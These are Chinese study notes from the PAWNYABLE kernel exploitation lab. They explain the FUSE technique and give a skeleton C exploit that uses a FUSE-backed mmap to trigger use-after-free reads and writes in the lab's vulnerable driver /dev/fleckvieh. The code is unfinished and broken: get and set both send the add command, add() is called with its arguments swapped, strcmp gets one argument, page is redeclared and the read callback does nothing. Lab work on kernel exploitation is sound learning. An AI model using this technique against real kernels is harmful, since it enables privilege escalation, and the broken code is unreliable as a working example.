PAWNYABLE kernel FUSE 笔记

内核模块(fuse.ko) 这个内核模块不会处理实际的文件系统调用，而是将其进行封装为特定格式的fuse请求后发送给用户空间进程，等待用户空间进程处理完成并返回，接收处理返回结果转换为内核文件系统格式后再传递给 VFS。

用户空间库(libfuse.*)

挂载工具(fusermount) 实现普通用户对文件系统挂载和卸载。

int main(int argc, char *argv[]) {
    return fuse_main(argc, argv, &fops, NULL);
}

int main(int argc, char *argv[]) {
    struct fuse_args args = FUSE_ARGS_INIT(argc, argv);
      struct fuse_chan *chan;
    struct fuse *fuse;

    // 创建并挂载文件系统
    chan = fuse_mount("/tmp/test", &args);
    if (!chan)
        fatal("fuse_mount");

    // 创建 FUSE 会话
    fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL);
    if (!fuse)
        fatal("fuse_new");

    // 启动 FUSE 事件循环（多线程模式）
    fuse_loop_mt(fuse);

    // 卸载文件系统
    fuse_unmount("/tmp/test", chan);
    return 0;
}

#define _GNU_SOURCE
#include <fuse.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/mman.h>
#include <errno.h>

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define PAGE_SIZE 0x1000
#define BUF_SIZE 0x400

uint64_t user_cs, user_ss, user_rflags, user_sp;
cpu_set_t cpuset;
int setup_done = 0;
int fd;

typedef struct {
    int id;
    uint64_t size;
    char *data;
} request_t;

int add(uint64_t size, char *data) {
    request_t add_req = {.id = 0, .size = size, .data = data};
    return ioctl(fd, CMD_ADD, &add_req);
}

void del(int id) {
    request_t del_req = {.id = id};
    ioctl(fd, CMD_DEL, &del_req);
}

void get(int id, uint64_t size, char *data) {
    request_t get_req = {.id = id, .size = size, .data = data};
    return ioctl(fd, CMD_ADD, &get_req);
}

void set(int id, uint64_t size, char *data) {
    request_t set_req = {.id = id, .size = size, .data = data};
    return ioctl(fd, CMD_ADD, &set_req);
}


int fuse_fd = -1;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

char *mmap_fuse_file() {
    // close old file
    if (fuse_fd != -1) {
        close(fuse_fd);
    }

    // mmap pages
    if ((fuse_fd = open("/tmp/fuse", O_RDWR)) == -1) {
        perror("open fuse file");
    }
    char *page =
        mmap(0, PAGE_SIZE * 5, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd, 0);
    if (page == MAP_FAILED) {
        perror("mmap fuse file");
    }
    return page;
}

static int getattr_callback(const char *path, struct stat *stbuf) {
    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/pwn") == 0) {
        stbuf->st_mode = S_IFREG | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = 0x1000;
        return 0;
    }

    return -ENOENT;
}

static int open_callback(const char *path, struct fuse_file_info *fi) {
    puts("[+] open_callback");
    return 0;
}

static int read_callback(const char *path, char *file_buf, size_t size,
                         off_t offset, struct fuse_file_info *fi) {
    static int fault_cnt = 0;
    printf("[+] read callback triggered");

    if (strcmp("/tmp/fuse") == 0) {
        switch (fault_cnt) {
        case 0:

            break;

        default:
            break;
        }
    }
}

static struct fuse_operations fops = {
    .getattr = getattr_callback,
    .open = open_callback,
    .read = read_callback,
};

void *setup_fuse(void *arg) {
    struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
    struct fuse_chan *chan; // short for communication channel
    struct fuse *fuse;

    mkdir("/tmp/test", 0777);
    chan = fuse_mount("/tmp/fuse", &args);
    fuse = fuse_new(chan, &args, &fops);

    if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset))
        fatal("sched_setaffinity");

    fuse_set_signal_handlers(fuse_get_session(fuse));
    setup_done = 1;
    fuse_loop_mt(fuse);

    fuse_unmount("/tmp/test");
    return NULL;
}

int main() {

    save_status();

    // setup cpu affinity
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset))
        fatal("sched_setaffinity");

    // setup fuse
    pthread_t th;
    pthread_create(&th, NULL, setup_fuse, NULL);
    while (!setup_done)
        ; // 确保 fuse 已经启动

    // open device
    fd = open("/dev/fleckvieh", O_RDWR);
    char *buf = mmalloc(BUF_SIZE);

    // uaf read
    char *page = mmap_fuse_file();
    int uaf_read_id = add(buf, 0x400);
    get(uaf_read_id, BUF_SIZE, page);

    // uaf write
    char *page = mmap_fuse_file();
    int uaf_write_id = add(buf, 0x400);
    set(uaf_read_id, BUF_SIZE, page);
}